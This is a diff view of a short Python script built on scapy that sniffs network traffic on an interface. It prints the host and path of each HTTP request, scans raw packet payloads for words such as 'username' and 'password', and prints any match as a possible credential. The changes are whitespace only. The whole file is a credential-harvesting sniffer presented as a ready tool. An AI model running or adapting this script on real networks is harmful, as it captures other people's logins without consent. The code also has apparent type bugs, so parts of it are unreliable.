|
1 | 1 | import scapy.all as scapy
|
2 | | -from scapy.layers import http |
| 2 | +from scapy.layers import http |
3 | 3 | # from scapy_http import http
|
4 | 4 |
|
5 | | -def get_url(packet): |
6 | | - #for detecting urls |
| 5 | +def get_url(packet): |
| 6 | + #for detecting urls |
7 | 7 | return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
|
8 | 8 |
|
9 | | - |
10 | 9 | def sniff(interface):
|
11 | 10 | #prn it will excute a function which we will give it after capturing packet
|
12 | 11 | scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)
|
13 | | - |
14 | | - |
| 12 | + |
15 | 13 | def get_login_info(packet):
|
16 | | - if packet.haslayer(scapy.Raw): |
17 | | - #finding and printing Raw layer |
| 14 | + if packet.haslayer(scapy.Raw): |
| 15 | + #finding and printing Raw layer |
18 | 16 | # print(packet[scapy.Raw].load)
|
19 | 17 | load = packet[scapy.Raw].load
|
20 | 18 | keywords=["username", "user", "login" ,"password", "pass"]
|
21 | 19 | for keyword in keywords:
|
22 | 20 | if keyword in load:
|
23 | 21 | return load
|
24 | | - |
25 | | - |
26 | | - |
| 22 | + |
27 | 23 | def process_sniffed_packet(packet):
|
28 | 24 | if packet.haslayer(http.HTTPRequest):
|
29 | 25 | url = get_url(packet)
|
30 | | - print("[+] HTTP REQUEST >> \n"+url) |
31 | | - |
| 26 | + print("[+] HTTP REQUEST >> \n"+url) |
32 | 27 | login_info=get_login_info(packet)
|
33 | 28 | if login_info:
|
34 | 29 | print("\n\n[+] possible username/password >>"+login_info+"\n\n")
|
35 | 30 |
|
36 | | - |
37 | 31 | #----interfaceon which you want to sniff
|
38 | 32 | sniff("eth0")
|
0 commit comments